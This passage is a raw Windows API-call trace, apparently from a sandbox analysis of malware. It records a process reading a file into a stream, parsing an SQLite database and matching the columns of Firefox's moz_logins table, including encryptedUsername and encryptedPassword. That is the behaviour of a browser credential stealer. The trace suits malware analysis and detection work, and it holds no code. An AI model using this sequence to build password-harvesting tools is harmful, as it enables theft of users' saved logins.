lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.952] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.952] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.952] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.952] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.952] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.952] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.952] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.952] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.952] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.952] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.952] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.952] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.952] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.952] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0047.952] IStream:Commit (This=0x76df40, grfCommitFlags=0xee9a4) returned 0x0 [0047.952] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x0, lpOverlapped=0x0) returned 1 [0047.952] CloseHandle (hObject=0x3b8) returned 1 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.952] IStream:SetSize (This=0x76df40, libNewSize=0xef994) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0047.952] IStream:SetSize (This=0x76df40, libNewSize=0xef97e) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x12, cb=0x0, dwLockType=0x0) returned 0x0 [0047.952] IStream:SetSize (This=0x76df40, libNewSize=0xef97f) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x13, cb=0x0, dwLockType=0x0) returned 0x0 [0047.952] IStream:SetSize (This=0x76df40, libNewSize=0xef97f) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0047.952] IStream:SetSize (This=0x76df40, libNewSize=0xef97f) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0047.952] IStream:SetSize (This=0x76df40, libNewSize=0xef97f) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.952] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef97f) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef97f) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x20, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x38, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef97c) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x3c, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x28, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x64, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x64, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef923) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x65, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x67, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x69, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x6b, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef923) returned 0x0 [0047.953] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x7c0838 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x6c, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x6e, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x70, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x72, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x74, cb=0x0, dwLockType=0x0) returned 0x0 [0047.953] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.953] IStream:LockRegion (This=0x76df40, libOffset=0x76, cb=0x0, dwLockType=0x0) returned 0x0 [0047.954] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x78, cb=0x0, dwLockType=0x0) returned 0x0 [0047.954] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x7a, cb=0x0, dwLockType=0x0) returned 0x0 [0047.954] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x7c, cb=0x0, dwLockType=0x0) returned 0x0 [0047.954] IStream:SetSize (This=0x76df40, libNewSize=0xef922) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x7e1a, cb=0x0, dwLockType=0x0) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x7e1a, cb=0x0, dwLockType=0x0) returned 0x0 [0047.954] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x7e1b, cb=0x0, dwLockType=0x0) returned 0x0 [0047.954] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x7e1c, cb=0x0, dwLockType=0x0) returned 0x0 [0047.954] IStream:SetSize (This=0x76df40, libNewSize=0xef903) returned 0x0 [0047.954] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0047.954] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76dfb8) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.954] IStream:LockRegion (This=0x76df40, libOffset=0x7e1d, cb=0x0, dwLockType=0x0) returned 0x0 [0047.954] IStream:SetSize (This=0x76df40, libNewSize=0x7d08c0) returned 0x0 [0047.954] IStream:Commit (This=0x76dfb8, grfCommitFlags=0x7d08c0) returned 0x0 [0047.954] LocalFree (hMem=0x7d08c0) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.955] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.955] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0047.955] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0047.955] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0047.955] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.955] IStream:LockRegion (This=0x76dfb8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0047.956] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0047.956] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0047.956] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8c3) returned 0x0 [0047.956] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x721848 [0047.956] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7175a0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0047.956] IStream:SetSize (This=0x76dfb8, libNewSize=0x7175a0) returned 0x0 [0047.956] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x73cc70 [0047.956] LocalFree (hMem=0x7175a0) returned 0x0 [0047.956] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x74d860 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0047.956] IStream:SetSize (This=0x76dfb8, libNewSize=0x74d860) returned 0x0 [0047.956] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fda0 [0047.956] LocalFree (hMem=0x74d860) returned 0x0 [0047.956] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x74d860 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0047.956] IStream:SetSize (This=0x76dfb8, libNewSize=0x74d860) returned 0x0 [0047.956] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74fe40 [0047.956] LocalFree (hMem=0x74d860) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x20, cb=0x0, dwLockType=0x0) returned 0x0 [0047.956] IStream:SetSize (This=0x76dfb8, libNewSize=0xef8bf) returned 0x0 [0047.956] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x74d860 [0047.956] LocalAlloc (uFlags=0x40, uBytes=0x242) returned 0x7d08c0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.956] IStream:LockRegion (This=0x76dfb8, libOffset=0x21, cb=0x0, dwLockType=0x0) returned 0x0 [0047.956] IStream:SetSize (This=0x76dfb8, libNewSize=0x7d08c0) returned 0x0 [0047.956] LocalAlloc (uFlags=0x40, uBytes=0x24a) returned 0x7d0b10 [0047.956] LocalFree (hMem=0x7d08c0) returned 0x0 [0047.956] LocalFree (hMem=0x716ef8) returned 0x0 [0047.956] IUnknown:Release (This=0x76dfb8) returned 0x0 [0047.956] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0047.956] lstrcmpA (lpString1="table", lpString2="table") returned 0 [0047.956] StrStrIA (lpFirst="CREATE TABLE moz_logins (id INTEGER PRIMARY KEY,hostname TEXT NOT NULL,httpRealm TEXT,formSubmitURL TEXT,usernameField TEXT NOT NULL,passwordField TEXT NOT NULL,encryptedUsername TEXT NOT NULL,encryptedPassword TEXT NOT NULL,guid TEXT,encType INTEGER,timeCreated INTEGER,timeLastUsed INTEGER,timePasswordChanged INTEGER,timesUsed INTEGER)", lpSrch="(") returned="(id INTEGER PRIMARY KEY,hostname TEXT NOT NULL,httpRealm TEXT,formSubmitURL TEXT,usernameField TEXT NOT NULL,passwordField TEXT NOT NULL,encryptedUsername TEXT NOT NULL,encryptedPassword TEXT NOT NULL,guid TEXT,encType INTEGER,timeCreated INTEGER,timeLastUsed INTEGER,timePasswordChanged INTEGER,timesUsed INTEGER)" [0047.956] StrStrIA (lpFirst="id INTEGER PRIMARY KEY,hostname TEXT NOT NULL,httpRealm TEXT,formSubmitURL TEXT,usernameField TEXT NOT NULL,passwordField TEXT NOT NULL,encryptedUsername TEXT NOT NULL,encryptedPassword TEXT NOT NULL,guid TEXT,encType INTEGER,timeCreated INTEGER,timeLastUsed INTEGER,timePasswordChanged INTEGER,timesUsed INTEGER)", lpSrch=")") returned=")" [0047.957] lstrlenA (lpString="id INTEGER PRIMARY KEY") returned 22 [0047.957] StrStrIA (lpFirst="id INTEGER PRIMARY KEY", lpSrch=" ") returned=" INTEGER PRIMARY KEY" [0047.957] lstrlenA (lpString="id") returned 2 [0047.957] lstrcmpiA (lpString1="CONSTRAINT", lpString2="id") returned -1 [0047.957] lstrcmpiA (lpString1="PRIMARY", lpString2="id") returned 1 [0047.957] lstrcmpiA (lpString1="UNIQUE", lpString2="id") returned 1 [0047.957] lstrcmpiA (lpString1="CHECK", lpString2="id") returned -1 [0047.957] lstrcmpiA (lpString1="FOREIGN", lpString2="id") returned -1 [0047.957] lstrlenA (lpString="id") returned 2 [0047.957] lstrcmpiA (lpString1="id", lpString2="hostname") returned 1 [0047.957] lstrcmpiA (lpString1="id", lpString2="encryptedPassword") returned 1 [0047.957] lstrcmpiA (lpString1="id", lpString2="encryptedUsername") returned 1 [0047.957] lstrlenA (lpString="hostname TEXT NOT NULL") returned 22 [0047.957] StrStrIA (lpFirst="hostname TEXT NOT NULL", lpSrch=" ") returned=" TEXT NOT NULL" [0047.957] lstrlenA (lpString="hostname") returned 8 [0047.957] lstrcmpiA (lpString1="CONSTRAINT", lpString2="hostname") returned -1 [0047.957] lstrcmpiA (lpString1="PRIMARY", lpString2="hostname") returned 1 [0047.957] lstrcmpiA (lpString1="UNIQUE", lpString2="hostname") returned 1 [0047.957] lstrcmpiA (lpString1="CHECK", lpString2="hostname") returned -1 [0047.957] lstrcmpiA (lpString1="FOREIGN", lpString2="hostname") returned -1 [0047.957] lstrlenA (lpString="hostname") returned 8 [0047.957] lstrcmpiA (lpString1="hostname", lpString2="hostname") returned 0 [0047.957] lstrcmpiA (lpString1="hostname", lpString2="encryptedPassword") returned 1 [0047.957] lstrcmpiA (lpString1="hostname", lpString2="encryptedUsername") returned 1 [0047.957] lstrlenA (lpString="httpRealm TEXT") returned 14 [0047.957] StrStrIA (lpFirst="httpRealm TEXT", lpSrch=" ") returned=" TEXT" [0047.957] lstrlenA (lpString="httpRealm") returned 9 [0047.957] lstrcmpiA (lpString1="CONSTRAINT", lpString2="httpRealm") returned -1 [0047.957] lstrcmpiA (lpString1="PRIMARY", lpString2="httpRealm") returned 1 [0047.957] lstrcmpiA (lpString1="UNIQUE", lpString2="httpRealm") returned 1 [0047.957] lstrcmpiA (lpString1="CHECK", lpString2="httpRealm") returned -1 [0047.957] lstrcmpiA (lpString1="FOREIGN", lpString2="httpRealm") returned -1 [0047.957] lstrlenA (lpString="httpRealm") returned 9 [0047.957] lstrcmpiA (lpString1="httpRealm", lpString2="hostname") returned 1 [0047.957] lstrcmpiA (lpString1="httpRealm", lpString2="encryptedPassword") returned 1 [0047.957] lstrcmpiA (lpString1="httpRealm", lpString2="encryptedUsername") returned 1 [0047.957] lstrlenA (lpString="formSubmitURL TEXT") returned 18 [0047.957] StrStrIA (lpFirst="formSubmitURL TEXT", lpSrch=" ") returned=" TEXT" [0047.957] lstrlenA (lpString="formSubmitURL") returned 13 [0047.957] lstrcmpiA (lpString1="CONSTRAINT", lpString2="formSubmitURL") returned -1 [0047.957] lstrcmpiA (lpString1="PRIMARY", lpString2="formSubmitURL") returned 1 [0047.957] lstrcmpiA (lpString1="UNIQUE", lpString2="formSubmitURL") returned 1 [0047.957] lstrcmpiA (lpString1="CHECK", lpString2="formSubmitURL") returned -1 [0047.957] lstrcmpiA (lpString1="FOREIGN", lpString2="formSubmitURL") returned -1 [0047.957] lstrlenA (lpString="formSubmitURL") returned 13 [0047.957] lstrcmpiA (lpString1="formSubmitURL", lpString2="hostname") returned -1 [0047.957] lstrcmpiA (lpString1="formSubmitURL", lpString2="encryptedPassword") returned 1 [0047.957] lstrcmpiA (lpString1="formSubmitURL", lpString2="encryptedUsername") returned 1 [0047.958] lstrlenA (lpString="usernameField TEXT NOT NULL") returned 27 [0047.958] StrStrIA (lpFirst="usernameField TEXT NOT NULL", lpSrch=" ") returned=" TEXT NOT NULL" [0047.958] lstrlenA (lpString="usernameField") returned 13 [0047.958] lstrcmpiA (lpString1="CONSTRAINT", lpString2="usernameField") returned -1 [0047.958] lstrcmpiA (lpString1="PRIMARY", lpString2="usernameField") returned -1 [0047.958] lstrcmpiA (lpString1="UNIQUE", lpString2="usernameField") returned -1 [0047.958] lstrcmpiA (lpString1="CHECK", lpString2="usernameField") returned -1 [0047.958] lstrcmpiA (lpString1="FOREIGN", lpString2="usernameField") returned -1 [0047.958] lstrlenA (lpString="usernameField") returned 13 [0047.958] lstrcmpiA (lpString1="usernameField", lpString2="hostname") returned 1 [0047.958] lstrcmpiA (lpString1="usernameField", lpString2="encryptedPassword") returned 1 [0047.958] lstrcmpiA (lpString1="usernameField", lpString2="encryptedUsername") returned 1 [0047.958] lstrlenA (lpString="passwordField TEXT NOT NULL") returned 27 [0047.958] StrStrIA (lpFirst="passwordField TEXT NOT NULL", lpSrch=" ") returned=" TEXT NOT NULL" [0047.958] lstrlenA (lpString="passwordField") returned 13 [0047.958] 